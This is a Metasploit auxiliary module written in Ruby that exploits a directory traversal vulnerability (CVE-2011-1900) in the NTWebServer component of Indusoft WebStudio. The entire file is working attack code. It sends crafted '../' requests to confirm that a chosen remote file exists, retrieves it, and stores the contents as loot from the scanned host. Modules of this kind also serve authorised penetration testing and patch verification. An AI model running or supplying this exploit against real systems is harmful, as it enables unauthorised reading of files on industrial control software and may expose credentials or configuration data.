Indusoft WebStudio NTWebServer Remote File Access

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'         => 'Indusoft WebStudio NTWebServer Remote File Access',
      'Description'  =>  %q{
          This module exploits a directory traversal vulnerability in Indusoft WebStudio.
        The vulnerability exists in the NTWebServer component and allows to read arbitrary
        remote files with the privileges of the NTWebServer process. The module has been
        tested successfully on Indusoft WebStudio 6.1 SP6.
      },
      'References'   =>
        [
          [ 'CVE', '2011-1900' ],
          [ 'OSVDB', '73413' ],
          [ 'BID', '47842' ],
          [ 'URL', 'http://www.indusoft.com/hotfixes/hotfixes.php' ]
        ],
      'Author'       =>
        [
          'Unknown', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'      => MSF_LICENSE
    )

    register_options(
    [
      OptString.new('RFILE', [true, 'Remote File', '/windows\\win.ini']),
      OptInt.new('DEPTH', [true, 'Traversal depth', 3])
    ])

    register_autofilter_ports([ 80 ])
  end

  def run_host(ip)
    res = send_request_cgi({
      'uri'     => "/",
      'method'  => 'GET'
    })

    if not res
      print_error("#{rhost}:#{rport} - Unable to connect")
      return
    end

    accessfile(ip)
  end

  def accessfile(rhost)

    traversal = "../" * datastore['DEPTH']
    rfile = ""

    if datastore['RFILE'][0] == "/"
      rfile = datastore['RFILE'][1..datastore['RFILE'].length-1]
    else
      rfile = datastore['RFILE']
    end

    print_status("#{rhost}:#{rport} - Checking if file exists...")

    res = send_request_cgi({
      'uri'      => "/#{traversal}#{rfile}",
      'method'   => 'HEAD'
    })

    if res and res.code == 200 and res.message =~ /File Exists/
      print_good("#{rhost}:#{rport} - The file exists")
    else
      print_error("#{rhost}:#{rport} - The file doesn't exist")
      return
    end

    print_status("#{rhost}:#{rport} - Retrieving remote file...")

    res = send_request_cgi({
      'uri'      => "/#{traversal}#{rfile}",
      'method'   => 'GET'
    })

    if res and res.code == 200 and res.message =~ /Sending file/
      loot = res.body
      if not loot or loot.empty?
        print_status("#{rhost}:#{rport} - Retrieved empty file")
        return
      end
      f = ::File.basename(datastore['RFILE'])
      path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
      print_good("#{rhost}:#{rport} - #{datastore['RFILE']} saved in #{path}")
      return
    end

    print_error("#{rhost}:#{rport} - Failed to retrieve file")
  end
end